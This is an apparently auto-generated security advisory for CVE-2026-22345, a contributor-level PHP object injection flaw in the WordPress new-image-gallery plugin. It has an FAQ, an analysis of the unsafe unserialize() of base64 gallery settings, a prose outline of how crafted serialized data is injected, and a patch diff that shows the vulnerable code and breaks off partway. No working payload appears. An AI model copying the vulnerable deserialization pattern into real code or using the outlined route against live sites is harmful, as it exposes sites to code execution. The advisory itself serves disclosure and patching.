What is CVE-2026-22345?

CVE-2026-22345 is a high-severity vulnerability in the Image Gallery – Lightbox Gallery, Responsive Photo Gallery, Masonry Gallery plugin for WordPress, affecting versions up to 1.6.0. It allows authenticated users with contributor-level access or higher to exploit PHP object injection through unsafe deserialization of gallery settings.

How does the vulnerability work?

The vulnerability arises from the use of unsafe deserialization in the plugin, where user-supplied data is processed without proper validation. Attackers can craft malicious serialized data to inject PHP objects, potentially leading to arbitrary code execution if a suitable property-oriented programming (POP) chain exists.

Who is affected by this vulnerability?

Users with contributor-level access or higher are affected by this vulnerability. Additionally, any WordPress site running the new-image-gallery plugin version 1.6.0 or earlier is at risk.

How can I check if my site is vulnerable?

To check if your site is vulnerable, verify the version of the new-image-gallery plugin installed. If it is version 1.6.0 or earlier, and you have users with contributor privileges, your site is at risk of this vulnerability.

What steps should I take to mitigate this issue?

Immediately update the new-image-gallery plugin to version 1.6.1 or later, which contains the necessary security patch. Additionally, review user roles and limit contributor access if possible.

What does the CVSS score of 7.5 indicate?

A CVSS score of 7.5 indicates a high severity vulnerability, meaning it poses a significant risk to affected systems. It suggests that exploitation is relatively easy for an authenticated attacker and could lead to severe consequences, such as remote code execution.

What is a PHP object injection vulnerability?

PHP object injection vulnerabilities occur when untrusted data is deserialized into PHP objects without sufficient validation. This can allow attackers to create arbitrary objects, potentially leading to unauthorized actions or data exposure.

What is a proof of concept (PoC) in this context?

The proof of concept for CVE-2026-22345 illustrates how an attacker can exploit the vulnerability by crafting a malicious serialized object and injecting it through the gallery settings. It serves as a demonstration of the exploitation method and the potential impact.

What are the potential impacts of this vulnerability?

Successful exploitation of CVE-2026-22345 can allow attackers to execute arbitrary code, delete files, or access sensitive data. The actual impact depends on the presence of other vulnerable plugins or themes that could facilitate further exploitation.

How does the patch address the vulnerability?

The patch for CVE-2026-22345 replaces the unsafe deserialization method with a secure alternative, effectively preventing arbitrary object instantiation. It also enhances data validation and removes error suppression, improving overall security.

What should I do if I cannot update the plugin immediately?

If you cannot update the plugin immediately, consider disabling it to prevent potential exploitation. Additionally, review user roles and limit access for contributors until the plugin can be updated.

Are there any known exploits in the wild for this vulnerability?

As of now, there are no known exploits in the wild specifically targeting CVE-2026-22345. However, due to the high severity and the nature of the vulnerability, it is advisable to take precautions and apply the patch as soon as possible.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : March 18, 2026

CVE-2026-22345: Image Gallery – Lightbox Gallery, Responsive Photo Gallery, Masonry Gallery <= 1.6.0 – Authenticated (Contributor+) PHP Object Injection (new-image-gallery)

CVE ID CVE-2026-22345

Plugin new-image-gallery

Severity High (CVSS 7.5)

CWE 502

Vulnerable Version 1.6.0

Patched Version 1.6.1

Disclosed February 10, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-22345:
This vulnerability is an authenticated PHP object injection flaw in the Image Gallery plugin for WordPress versions up to and including 1.6.0. The vulnerability allows contributors and higher-privileged users to inject malicious PHP objects via unsafe deserialization of gallery settings data. The CVSS score of 7.5 reflects the requirement for contributor-level authentication and the potential for severe impact if a suitable POP chain exists in the environment.

Atomic Edge research identifies the root cause in the `new-image-gallery/include/gallery-settings.php` file. The vulnerable code at lines 132-160 processes gallery settings retrieved from post metadata. The plugin uses `get_post_meta()` to fetch base64-encoded data stored with the key `awl_ig_settings_2538`. After base64 decoding, the code employs a custom `is_sr_serialized()` function to check if the data is serialized. This function uses the unsafe `@unserialize($str) !== false` check at line 138. If the check passes, the code directly calls `unserialize($decodedData)` at line 142 without validation, allowing arbitrary object instantiation from attacker-controlled input.

The exploitation method requires an authenticated attacker with contributor privileges or higher. The attacker must access the gallery editing interface, typically at `/wp-admin/post.php?post={id}&action=edit` for existing galleries or through the ‘Add Image Gallery’ menu. The vulnerability triggers when the plugin saves or loads gallery settings. An attacker can craft malicious serialized data containing PHP objects, base64-encode it, and submit it as the `awl_ig_settings_2538` metadata. The plugin’s AJAX handlers for saving gallery configurations or the standard WordPress post update mechanisms serve as potential vectors for injecting this payload.

The patch replaces the unsafe deserialization with a secure alternative. The vulnerable `is_sr_serialized()` function and direct `unserialize()` call are removed entirely. The patched code introduces a new function `awl_ig_safe_unserialize($decodedData)` at line 142. This function presumably implements safe deserialization practices, such as using `json_decode()` for data storage or implementing allowed classes restrictions. The patch also improves data handling by adding proper checks for the `slide-alt` array index existence at lines 159-163 and removes the error-suppressing `@` operator from the unserialize check.

Successful exploitation enables arbitrary object injection in the PHP runtime. While the plugin itself contains no known POP (Property-Oriented Programming) chain, the presence of other plugins or themes with suitable gadget chains creates conditions for remote code execution. Attackers could leverage injected objects to delete arbitrary files, retrieve sensitive data from the database or filesystem, or achieve full server compromise through code execution. The requirement for contributor authentication limits immediate widespread exploitation but poses significant risk in multi-user WordPress installations.

Differential between vulnerable and patched code

Code Diff

--- a/new-image-gallery/include/docs.php
+++ b/new-image-gallery/include/docs.php
@@ -1,39 +1,92 @@
+<style>
+	.ig-docs-section h3 {
+		color: var(--wp-admin-theme-color, #2271b1);
+	}
+
+	.ig-docs-section p,
+	.ig-docs-section li {
+		font-size: 14px;
+		color: var(--wp--preset--color--text, #3c434a);
+		line-height: 1.5;
+	}
+
+	.ig-docs-section strong {
+		color: var(--wp--preset--color--text, #1d2327);
+	}
+
+	.ig-docs-section code {
+		color: var(--wp-admin-theme-color, #2271b1);
+	}
+</style>
 <div class="wrap">
-	<div id="welcome-panel" class="welcome-panel">
+	<div id="welcome-panel" class="">
 		<div class="welcome-panel-content">
-			<h1>Welcome to Image Gallery Plugin Docs</h1>
-			<p class="about-description">Getting started with pluign - Follow steps to create & publish gallery</p>
+			<h1><?php esc_html_e('Welcome to New Image Gallery Documentation', 'new-image-gallery'); ?></h1>
+			<p class="about-description"><?php esc_html_e('Getting started with the New Image Gallery plugin - Follow these simple steps to create, configure, and publish your beautiful galleries.', 'new-image-gallery'); ?></p>
 			<hr>

-			<h3>Step 1 - Install & Activate Plugin<h3>
-			<p>After downloaded plugin from WordPress.</p>
-			<p>Login to your WordPress site upload the plugin, install and activate.</p>
-
-			<h3>Step 2 - Create A Gallery<h3>
-			<p>Plugin has been installed on site.</p>
-			<p>Now, go to the plugin's menu "New Image Gallery" and click on "Add Image Gallery" page.</p>
-			<p>Using "Add Image" button upload images through media library.</p>
-			<p>Set gallery setting like Thumbnail Quality & Size, Coulmns Layout, Light Box Style, Hover Effect, Spacing, Order and Custom CSS etc according to you.</p>
-			<p>Finally click on "Publish" button to create gallery.</p>
-
-			<h3>Step 3 - Display Gallery On Site<h3>
-			<p>Our gallery shortcode has been created in last step.</p>
-			<p>Copy the heighlighted shortcode above the gallery setting.
-			<p>Now create a new Page / Post and paste the copied gallery shortcode into content part.</p>
-			<p>Publish the Page / Post and view the page for gallery display.</p>
-			<pre>[IMG-Gal id=4]</pre>
-			<p>Here id = 4 is your gallery post id.</p>
+			<div class="ig-docs-section">
+				<h3><span class="dashicons dashicons-download" style="vertical-align: middle;"></span> <?php esc_html_e('Step 1: Install & Activate', 'new-image-gallery'); ?></h3>
+				<p><?php esc_html_e('If you have downloaded the plugin zip file from WordPress.org:', 'new-image-gallery'); ?></p>
+				<ol>
+					<li><?php esc_html_e('Log in to your WordPress admin dashboard.', 'new-image-gallery'); ?></li>
+					<li><?php esc_html_e('Navigate to ', 'new-image-gallery'); ?><strong><?php esc_html_e('Plugins > Add New', 'new-image-gallery'); ?></strong><?php esc_html_e(' and click on the ', 'new-image-gallery'); ?><strong><?php esc_html_e('Upload Plugin', 'new-image-gallery'); ?></strong><?php esc_html_e(' button.', 'new-image-gallery'); ?></li>
+					<li><?php esc_html_e('Choose the downloaded zip file, install it, and then click ', 'new-image-gallery'); ?><strong><?php esc_html_e('Activate', 'new-image-gallery'); ?></strong>.</li>
+				</ol>
+			</div>
+
+			<div class="ig-docs-section">
+				<h3><span class="dashicons dashicons-format-gallery" style="vertical-align: middle;"></span> <?php esc_html_e('Step 2: Create a New Gallery', 'new-image-gallery'); ?></h3>
+				<p><?php esc_html_e('Now that the plugin is active, let's create your first gallery:', 'new-image-gallery'); ?></p>
+				<ol>
+					<li><?php esc_html_e('Go to the ', 'new-image-gallery'); ?><strong><?php esc_html_e('New Image Gallery > Add Image Gallery', 'new-image-gallery'); ?></strong><?php esc_html_e(' menu in your WordPress dashboard.', 'new-image-gallery'); ?></li>
+					<li><?php esc_html_e('Enter a title for your gallery at the top.', 'new-image-gallery'); ?></li>
+					<li><?php esc_html_e('Click the ', 'new-image-gallery'); ?><strong><?php esc_html_e('Add Images', 'new-image-gallery'); ?></strong><?php esc_html_e(' button to upload or select images from your WordPress Media Library.', 'new-image-gallery'); ?></li>
+					<li><?php esc_html_e('You can drag and drop images to reorder them, or add a specific Title and Alt Text for each image.', 'new-image-gallery'); ?></li>
+				</ol>
+			</div>
+
+			<div class="ig-docs-section">
+				<h3><span class="dashicons dashicons-admin-generic" style="vertical-align: middle;"></span> <?php esc_html_e('Step 3: Configure Settings', 'new-image-gallery'); ?></h3>
+				<p><?php esc_html_e('Customize your gallery to match your site's design by exploring the configuration tabs:', 'new-image-gallery'); ?></p>
+				<ul style="list-style-type: disc; margin-left: 20px;">
+					<li><strong><?php esc_html_e('Configure:', 'new-image-gallery'); ?></strong> <?php esc_html_e('Set the Gallery Thumbnail Size, adjust Column Layouts for different devices (Desktops, Tablets, Phones), toggle Thumbnail Titles or Spacing, and define the Image Order.', 'new-image-gallery'); ?></li>
+					<li><strong><?php esc_html_e('Animation Effect:', 'new-image-gallery'); ?></strong> <?php esc_html_e('Choose a smooth 2D Transition (like Grow, Float, or Glow) to play when users hover over your images.', 'new-image-gallery'); ?></li>
+					<li><strong><?php esc_html_e('LightBox Settings:', 'new-image-gallery'); ?></strong> <?php esc_html_e('Select a Light Box style (e.g., Bootstrap Light Box or LD Light Box) to display your images in a beautiful popup when clicked.', 'new-image-gallery'); ?></li>
+					<li><strong><?php esc_html_e('Custom CSS:', 'new-image-gallery'); ?></strong> <?php esc_html_e('Add your own CSS rules perfectly tailored to this specific gallery.', 'new-image-gallery'); ?></li>
+				</ul>
+				<p><?php esc_html_e('Once you are satisfied with your settings, click the ', 'new-image-gallery'); ?><strong><?php esc_html_e('Publish', 'new-image-gallery'); ?></strong><?php esc_html_e(' (or Update) button to save your gallery.', 'new-image-gallery'); ?></p>
+			</div>
+
+			<div class="ig-docs-section">
+				<h3><span class="dashicons dashicons-shortcode" style="vertical-align: middle;"></span> <?php esc_html_e('Step 4: Display Gallery On Your Site', 'new-image-gallery'); ?></h3>
+				<p><?php esc_html_e('After publishing, you need to embed the gallery into a post or page using its unique shortcode.', 'new-image-gallery'); ?></p>
+				<ol>
+					<li><?php esc_html_e('Look for the ', 'new-image-gallery'); ?><strong><?php esc_html_e('Gallery Shortcode', 'new-image-gallery'); ?></strong><?php esc_html_e(' meta box on the right side of the gallery editor page.', 'new-image-gallery'); ?></li>
+					<li><?php esc_html_e('Copy the highlighted shortcode. It will look something like this:', 'new-image-gallery'); ?>
+						<div style="margin: 10px 0;">
+							<code style="background: #f0f0f1; padding: 5px 10px; border-left: 4px solid var(--wp-admin-theme-color, #00a0d2); display: inline-block; font-size: 14px;">[IMG-Gal id=4]</code>
+						</div>
+						<em><?php esc_html_e('(Here, "id=4" is the unique ID of your gallery.)', 'new-image-gallery'); ?></em>
+					</li>
+					<li><?php esc_html_e('Go to ', 'new-image-gallery'); ?><strong><?php esc_html_e('Pages > Add New', 'new-image-gallery'); ?></strong><?php esc_html_e(' (or Posts).', 'new-image-gallery'); ?></li>
+					<li><?php esc_html_e('Paste the copied shortcode directly into the content editor (or use a Shortcode block if you are using the Gutenberg editor).', 'new-image-gallery'); ?></li>
+					<li><?php esc_html_e('Publish the page and view it on the front-end to see your stunning image gallery in action!', 'new-image-gallery'); ?></li>
+				</ol>
+			</div>
 			<hr>
 		</div>
+
 		<div class="welcome-panel-content">
-
-			<p class="">
-				<h1><strong>Early Bird Offer:</strong> Upgrade To Premium Just In Half Prise <strike>$15</strike> <strong>$10</strong></h1>
-				<br>
-				<a href="https://awplife.com/wordpress-plugins/image-gallery-premium/" target="_blank" class="button button-primary button-hero load-customize hide-if-no-customize">Premium Version Details</a>
-				<a href="https://awplife.com/demo/image-gallery-premium/" target="_blank" class="button button-primary button-hero load-customize hide-if-no-customize">Check Live Demo</a>
-				<a href="https://awplife.com/demo/image-gallery-premium-admin-demo/" target="_blank" class="button button-primary button-hero load-customize hide-if-no-customize">Try Premium Version</a>
-			</p>
+			<div style="background: #fff8e5; border-left: 4px solid #ffb900; padding: 20px; margin-top: 10px;">
+				<h2 style="margin-top: 0; color: #d63638;"><strong><?php esc_html_e('Early Bird Offer:', 'new-image-gallery'); ?></strong> <?php esc_html_e('Upgrade To Premium at Discounted Price', 'new-image-gallery'); ?> <strike>$15</strike> <strong>$12</strong></h2>
+				<p style="font-size: 15px; margin-bottom: 20px; line-height: 1.5;"><?php esc_html_e('Unlock advanced features, more stunning hover effects, additional lightbox styles, masonry layouts, unlimited priority support, and much more by upgrading to the Pro version today!', 'new-image-gallery'); ?></p>
+				<p>
+					<a href="https://awplife.com/wordpress-plugins/image-gallery-premium/" target="_blank" class="button button-primary button-hero load-customize hide-if-no-customize" style="margin-right: 10px; margin-bottom: 10px;"><?php esc_html_e('Premium Version Details', 'new-image-gallery'); ?></a>
+					<a href="https://awplife.com/demo/image-gallery-premium/" target="_blank" class="button button-primary button-hero load-customize hide-if-no-customize" style="margin-right: 10px; margin-bottom: 10px;"><?php esc_html_e('Check Live Demo', 'new-image-gallery'); ?></a>
+					<a href="https://awplife.com/account/signup/image-gallery-premium" target="_blank" class="button button-primary button-hero load-customize hide-if-no-customize" style="margin-bottom: 10px;"><?php esc_html_e('Buy Premium Version', 'new-image-gallery'); ?></a>
+				</p>
+			</div>
 		</div>
 	</div>
 </div>
 No newline at end of file
--- a/new-image-gallery/include/gallery-settings.php
+++ b/new-image-gallery/include/gallery-settings.php
@@ -121,7 +121,7 @@
 			<div class="bhoechie-tab-content active">
 				<h1>
 					<?php esc_html_e('Add Images', 'new-image-gallery'); ?>
-					<?php wp_nonce_field( 'igp_add_images', 'igp_add_images_nonce' ); ?>
+					<?php wp_nonce_field('igp_add_images', 'igp_add_images_nonce'); ?>
 				</h1>
 				<hr>
 				<div id="slider-gallery">
@@ -132,33 +132,24 @@
 						<?php
 						$post_id = esc_attr($post->ID);

-						if (!function_exists('is_sr_serialized')) {
-							function is_sr_serialized($str) {
-								return ($str == serialize(false) || @unserialize($str) !== false);
-							}
-						}
-
 						// Retrieve the base64 encoded data
 						$encodedData = get_post_meta($post_id, 'awl_ig_settings_' . $post_id, true);

 						// Decode the base64 encoded data
 						$decodedData = base64_decode($encodedData);

-						// Check if the data is serialized
-						if (is_sr_serialized($decodedData)) {
-
-							// The data is serialized, so unserialize it
-							$gallery_settings = unserialize($decodedData);
+						// Check if the data is serialized safely
+						$gallery_settings = awl_ig_safe_unserialize($decodedData);
+						if ($gallery_settings !== false) {
 							// Optionally, convert the unserialized data to JSON and save it back in base64 encoding for future access
 							// This step is optional but recommended to transition your data format
-
+
 							$jsonEncodedData = json_encode($gallery_settings);
 							update_post_meta($post_id, 'awl_ig_settings_' . $post_id, $jsonEncodedData);

 							// Now, to use the newly saved format, fetch and decode again
 							$encodedData = get_post_meta($post_id, 'awl_ig_settings_' . $post_id, true);
 							$gallery_settings = json_decode(($encodedData), true);
-
 						} else {
 							// Assume the data is in JSON format
 							$jsonData = get_post_meta($post_id, 'awl_ig_settings_' . $post_id, true);
@@ -168,10 +159,14 @@
 						if (isset($gallery_settings['slide-ids'])) {
 							$count = 0;
 							foreach ($gallery_settings['slide-ids'] as $id) {
-								$image_alt = $gallery_settings['slide-alt'][$count];
+								if (isset($gallery_settings['slide-alt'][$count]) && !empty($gallery_settings['slide-alt'][$count])) {
+									$image_alt = $gallery_settings['slide-alt'][$count];
+								} else {
+									$image_alt = get_post_meta($id, '_wp_attachment_image_alt', true);
+								}
 								$thumbnail = wp_get_attachment_image_src($id, 'medium', true);
 								$attachment = get_post($id);
-								?>
+						?>
 								<li class="slide">
 									<img class="new-slide" src="<?php echo esc_url($thumbnail[0]); ?>"
 										alt="<?php echo esc_html(get_the_title($id)); ?>"
@@ -187,7 +182,7 @@
 									<a class="pw-trash-icon" name="remove-slide" id="remove-slide" href="#"><span
 											class="dashicons dashicons-trash"></span></a>
 								</li>
-								<?php
+						<?php
 								$count++;
 							} // end of foreach
 						} //end of if
@@ -223,31 +218,31 @@
 						?>
 						<select id="gal_thumb_size" name="gal_thumb_size" style="width:50%">
 							<option value="thumbnail" <?php
-							if ($gal_thumb_size == 'thumbnail') {
-								echo 'selected=selected';
-							}
-							?>>
+														if ($gal_thumb_size == 'thumbnail') {
+															echo 'selected=selected';
+														}
+														?>>
 								<?php esc_html_e('Thumbnail – 150 × 150', 'new-image-gallery'); ?>
 							</option>
 							<option value="medium" <?php
-							if ($gal_thumb_size == 'medium') {
-								echo 'selected=selected';
-							}
-							?>>
+													if ($gal_thumb_size == 'medium') {
+														echo 'selected=selected';
+													}
+													?>>
 								<?php esc_html_e('Medium – 300 × 169', 'new-image-gallery'); ?>
 							</option>
 							<option value="large" <?php
-							if ($gal_thumb_size == 'large') {
-								echo 'selected=selected';
-							}
-							?>>
+													if ($gal_thumb_size == 'large') {
+														echo 'selected=selected';
+													}
+													?>>
 								<?php esc_html_e('Large – 840 × 473', 'new-image-gallery'); ?>
 							</option>
 							<option value="full" <?php
-							if ($gal_thumb_size == 'full') {
-								echo 'selected=selected';
-							}
-							?>>
+													if ($gal_thumb_size == 'full') {
+														echo 'selected=selected';
+													}
+													?>>
 								<?php esc_html_e('Full Size – 1280 × 720', 'new-image-gallery'); ?>
 							</option>
 						</select>
@@ -274,45 +269,45 @@
 						?>
 						<select id="col_large_desktops" name="col_large_desktops" style="width:40%">
 							<option value="col-lg-12" <?php
-							if ($col_large_desktops == 'col-lg-12') {
-								echo 'selected=selected';
-							}
-							?>>
+														if ($col_large_desktops == 'col-lg-12') {
+															echo 'selected=selected';
+														}
+														?>>
 								<?php esc_html_e('1 Column', 'new-image-gallery'); ?>
 							</option>
 							<option value="col-lg-6" <?php
-							if ($col_large_desktops == 'col-lg-6') {
-								echo 'selected=selected';
-							}
-							?>>
+														if ($col_large_desktops == 'col-lg-6') {
+															echo 'selected=selected';
+														}
+														?>>
 								<?php esc_html_e('2 Column', 'new-image-gallery'); ?>
 							</option>
 							<option value="col-lg-4" <?php
-							if ($col_large_desktops == 'col-lg-4') {
-								echo 'selected=selected';
-							}
-							?>>
+														if ($col_large_desktops == 'col-lg-4') {
+															echo 'selected=selected';
+														}
+														?>>
 								<?php esc_html_e('3 Column', 'new-image-gallery'); ?>
 							</option>
 							<option value="col-lg-3" <?php
-							if ($col_large_desktops == 'col-lg-3') {
-								echo 'selected=selected';
-							}
-							?>>
+														if ($col_large_desktops == 'col-lg-3') {
+															echo 'selected=selected';
+														}
+														?>>
 								<?php esc_html_e('4 Column', 'new-image-gallery'); ?>
 							</option>
 							<option value="col-lg-2" <?php
-							if ($col_large_desktops == 'col-lg-2') {
-								echo 'selected=selected';
-							}
-							?>>
+														if ($col_large_desktops == 'col-lg-2') {
+															echo 'selected=selected';
+														}
+														?>>
 								<?php esc_html_e('6 Column', 'new-image-gallery'); ?>
 							</option>
 							<option value="col-lg-1" <?php
-							if ($col_large_desktops == 'col-lg-1') {
-								echo 'selected=selected';
-							}
-							?>>
+														if ($col_large_desktops == 'col-lg-1') {
+															echo 'selected=selected';
+														}
+														?>>
 								<?php esc_html_e('12 Column', 'new-image-gallery'); ?>
 							</option>
 						</select>
@@ -340,45 +335,45 @@
 						?>
 						<select id="col_desktops" name="col_desktops" style="width:40%">
 							<option value="col-md-12" <?php
-							if ($col_desktops == 'col-md-12') {
-								echo 'selected=selected';
-							}
-							?>>
+														if ($col_desktops == 'col-md-12') {
+															echo 'selected=selected';
+														}
+														?>>
 								<?php esc_html_e('1 Column', 'new-image-gallery'); ?>
 							</option>
 							<option value="col-md-6" <?php
-							if ($col_desktops == 'col-md-6') {
-								echo 'selected=selected';
-							}
-							?>>
+														if ($col_desktops == 'col-md-6') {
+															echo 'selected=selected';
+														}
+														?>>
 								<?php esc_html_e('2 Column', 'new-image-gallery'); ?>
 							</option>
 							<option value="col-md-4" <?php
-							if ($col_desktops == 'col-md-4') {
-								echo 'selected=selected';
-							}
-							?>>
+														if ($col_desktops == 'col-md-4') {
+															echo 'selected=selected';
+														}
+														?>>
 								<?php esc_html_e('3 Column', 'new-image-gallery'); ?>
 							</option>
 							<option value="col-md-3" <?php
-							if ($col_desktops == 'col-md-3') {
-								echo 'selected=selected';
-							}
-							?>>
+														if ($col_desktops == 'col-md-3') {
+															echo 'selected=selected';
+														}
+														?>>
 								<?php esc_html_e('4 Column', 'new-image-gallery'); ?>
 							</option>
 							<option value="col-md-2" <?php
-							if ($col_desktops == 'col-md-2') {
-								echo 'selected=selected';
-							}
-							?>>
+														if ($col_desktops == 'col-md-2') {
+															echo 'selected=selected';
+														}
+														?>>
 								<?php esc_html_e('6 Column', 'new-image-gallery'); ?>
 							</option>
 							<option value="col-md-1" <?php
-							if ($col_desktops == 'col-md-1') {
-								echo 'selected=selected';
-							}
-							?>>
+														if ($col_desktops == 'col-md-1') {
+															echo 'selected=selected';
+														}
+														?>>
 								<?php esc_html_e('12 Column', 'new-image-gallery'); ?>
 							</option>
 						</select>
@@ -405,38 +400,38 @@
 						?>
 						<select id="col_tablets" name="col_tablets" style="width:40%">
 							<option value="col-sm-12" <?php
-							if ($col_tablets == 'col-sm-12') {
-								echo 'selected=selected';
-							}
-							?>>
+														if ($col_tablets == 'col-sm-12') {
+															echo 'selected=selected';
+														}
+														?>>
 								<?php esc_html_e('1 Column', 'new-image-gallery'); ?>
 							</option>
 							<option value="col-sm-6" <?php
-							if ($col_tablets == 'col-sm-12') {
-								echo 'selected=selected';
-							}
-							?>>
+														if ($col_tablets == 'col-sm-12') {
+															echo 'selected=selected';
+														}
+														?>>
 								<?php esc_html_e('2 Column', 'new-image-gallery'); ?>
 							</option>
 							<option value="col-sm-4" <?php
-							if ($col_tablets == 'col-sm-4') {
-								echo 'selected=selected';
-							}
-							?>>
+														if ($col_tablets == 'col-sm-4') {
+															echo 'selected=selected';
+														}
+														?>>
 								<?php esc_html_e('3 Column', 'new-image-gallery'); ?>
 							</option>
 							<option value="col-sm-3" <?php
-							if ($col_tablets == 'col-sm-3') {
-								echo 'selected=selected';
-							}
-							?>>
+														if ($col_tablets == 'col-sm-3') {
+															echo 'selected=selected';
+														}
+														?>>
 								<?php esc_html_e('4 Column', 'new-image-gallery'); ?>
 							</option>
 							<option value="col-sm-2" <?php
-							if ($col_tablets == 'col-sm-2') {
-								echo 'selected=selected';
-							}
-							?>>
+														if ($col_tablets == 'col-sm-2') {
+															echo 'selected=selected';
+														}
+														?>>
 								<?php esc_html_e('6 Column', 'new-image-gallery'); ?>
 							</option>
 						</select>
@@ -463,31 +458,31 @@
 						?>
 						<select id="col_phones" name="col_phones" style="width:40%">
 							<option value="col-12" <?php
-							if ($col_phones == 'col-12') {
-								echo 'selected=selected';
-							}
-							?>>
+													if ($col_phones == 'col-12') {
+														echo 'selected=selected';
+													}
+													?>>
 								<?php esc_html_e('1 Column', 'new-image-gallery'); ?>
 							</option>
 							<option value="col-6" <?php
-							if ($col_phones == 'col-6') {
-								echo 'selected=selected';
-							}
-							?>>
+													if ($col_phones == 'col-6') {
+														echo 'selected=selected';
+													}
+													?>>
 								<?php esc_html_e('2 Column', 'new-image-gallery'); ?>
 							</option>
 							<option value="col-4" <?php
-							if ($col_phones == 'col-4') {
-								echo 'selected=selected';
-							}
-							?>>
+													if ($col_phones == 'col-4') {
+														echo 'selected=selected';
+													}
+													?>>
 								<?php esc_html_e('3 Column', 'new-image-gallery'); ?>
 							</option>
 							<option value="col-3" <?php
-							if ($col_phones == 'col-3') {
-								echo 'selected=selected';
-							}
-							?>>
+													if ($col_phones == 'col-3') {
+														echo 'selected=selected';
+													}
+													?>>
 								<?php esc_html_e('4 Column', 'new-image-gallery'); ?>
 							</option>
 						</select>
@@ -513,18 +508,18 @@
 						}
 						?>
 						<input type="radio" name="img_title" id="img_title1" value="1" <?php
-						if ($img_title == 1) {
-							echo 'checked=checked';
-						}
-						?>>
+																						if ($img_title == 1) {
+																							echo 'checked=checked';
+																						}
+																						?>>
 						<label for="img_title1">
 							<?php esc_html_e('Yes', 'new-image-gallery'); ?>
 						</label>
 						<input type="radio" name="img_title" id="img_title2" value="0" <?php
-						if ($img_title == 0) {
-							echo 'checked=checked';
-						}
-						?>>
+																						if ($img_title == 0) {
+																							echo 'checked=checked';
+																						}
+																						?>>
 						<label for="img_title2">
 							<?php esc_html_e('No', 'new-image-gallery'); ?>
 						</label>
@@ -550,18 +545,18 @@
 						}
 						?>
 						<input type="radio" name="no_spacing" id="no_spacing1" value="1" <?php
-						if ($no_spacing == 1) {
-							echo 'checked=checked';
-						}
-						?>>
+																							if ($no_spacing == 1) {
+																								echo 'checked=checked';
+																							}
+																							?>>
 						<label for="no_spacing1">
 							<?php esc_html_e('Yes', 'new-image-gallery'); ?>
 						</label>
 						<input type="radio" name="no_spacing" id="no_spacing2" value="0" <?php
-						if ($no_spacing == 0) {
-							echo 'checked=checked';
-						}
-						?>>
+																							if ($no_spacing == 0) {
+																								echo 'checked=checked';
+																							}
+																							?>>
 						<label for="no_spacing2">
 							<?php esc_html_e('No', 'new-image-gallery'); ?>
 						</label>
@@ -587,26 +582,26 @@
 						}
 						?>
 						<input type="radio" name="thumbnail_order" id="thumbnail_order1" value="ASC" <?php
-						if ($thumbnail_order == 'ASC') {
-							echo 'checked=checked';
-						}
-						?>>
+																										if ($thumbnail_order == 'ASC') {
+																											echo 'checked=checked';
+																										}
+																										?>>
 						<label for="thumbnail_order1">
 							<?php esc_html_e('Old First', 'new-image-gallery'); ?>
 						</label>
 						<input type="radio" name="thumbnail_order" id="thumbnail_order2" value="DESC" <?php
-						if ($thumbnail_order == 'DESC') {
-							echo 'checked=checked';
-						}
-						?>>
+																										if ($thumbnail_order == 'DESC') {
+																											echo 'checked=checked';
+																										}
+																										?>>
 						<label for="thumbnail_order2">
 							<?php esc_html_e('New First', 'new-image-gallery'); ?>
 						</label>
 						<input type="radio" name="thumbnail_order" id="thumbnail_order3" value="RANDOM" <?php
-						if ($thumbnail_order == 'RANDOM') {
-							echo 'checked=checked';
-						}
-						?>>
+																										if ($thumbnail_order == 'RANDOM') {
+																											echo 'checked=checked';
+																										}
+																										?>>
 						<label for="thumbnail_order3">
 							<?php esc_html_e('Random', 'new-image-gallery'); ?>
 						</label>
@@ -632,18 +627,18 @@
 						}
 						?>
 						<input type="radio" name="igp_loop_st" id="igp_loop_st1" value="true" <?php
-						if ($igp_loop_st == 'true') {
-							echo 'checked=checked';
-						}
-						?>>
+																								if ($igp_loop_st == 'true') {
+																									echo 'checked=checked';
+																								}
+																								?>>
 						<label for="igp_loop_st1">
 							<?php esc_html_e('Yes', 'new-image-gallery'); ?>
 						</label>
 						<input type="radio" name="igp_loop_st" id="igp_loop_st2" value="false" <?php
-						if ($igp_loop_st == 'false') {
-							echo 'checked=checked';
-						}
-						?>>
+																								if ($igp_loop_st == 'false') {
+																									echo 'checked=checked';
+																								}
+																								?>>
 						<label for="igp_loop_st2">
 							<?php esc_html_e('No', 'new-image-gallery'); ?>
 						</label>
@@ -721,38 +716,38 @@
 									label="<?php esc_html_e('Shadow and Glow Transitions Effects', 'new-image-gallery'); ?>"
 									class="sg">
 									<option value="hvr-grow-shadow" <?php
-									if ($image_hover_effect_four == 'hvr-grow-shadow') {
-										echo 'selected=selected';
-									}
-									?>>
+																	if ($image_hover_effect_four == 'hvr-grow-shadow') {
+																		echo 'selected=selected';
+																	}
+																	?>>
 										<?php esc_html_e('Grow Shadow', 'new-image-gallery'); ?>
 									</option>
 									<option value="hvr-float-shadow" <?php
-									if ($image_hover_effect_four == 'hvr-float-shadow') {
-										echo 'selected=selected';
-									}
-									?>>
+																		if ($image_hover_effect_four == 'hvr-float-shadow') {
+																			echo 'selected=selected';
+																		}
+																		?>>
 										<?php esc_html_e('Float Shadow', 'new-image-gallery'); ?>
 									</option>
 									<option value="hvr-glow" <?php
-									if ($image_hover_effect_four == 'hvr-glow') {
-										echo 'selected=selected';
-									}
-									?>>
+																if ($image_hover_effect_four == 'hvr-glow') {
+																	echo 'selected=selected';
+																}
+																?>>
 										<?php esc_html_e('Glow', 'new-image-gallery'); ?>
 									</option>
 									<option value="hvr-box-shadow-inset" <?php
-									if ($image_hover_effect_four == 'hvr-box-shadow-inset') {
-										echo 'selected=selected';
-									}
-									?>>
+																			if ($image_hover_effect_four == 'hvr-box-shadow-inset') {
+																				echo 'selected=selected';
+																			}
+																			?>>
 										<?php esc_html_e('Box Shadow Inset', 'new-image-gallery'); ?>
 									</option>
 									<option value="hvr-box-shadow-outset" <?php
-									if ($image_hover_effect_four == 'hvr-box-shadow-outset') {
-										echo 'selected=selected';
-									}
-									?>>
+																			if ($image_hover_effect_four == 'hvr-box-shadow-outset') {
+																				echo 'selected=selected';
+																			}
+																			?>>
 										<?php esc_html_e('Box Shadow Outset', 'new-image-gallery'); ?>
 									</option>
 								</optgroup>
@@ -789,24 +784,24 @@
 						?>
 						<select name="light_box" id="light_box" style="width:50%">
 							<option value="0" <?php
-							if ($light_box == 0) {
-								echo 'selected=selected';
-							}
-							?>>
+												if ($light_box == 0) {
+													echo 'selected=selected';
+												}
+												?>>
 								<?php esc_html_e('None', 'new-image-gallery'); ?>
 							</option>
 							<option value="6" <?php
-							if ($light_box == 6) {
-								echo 'selected=selected';
-							}
-							?>>
+												if ($light_box == 6) {
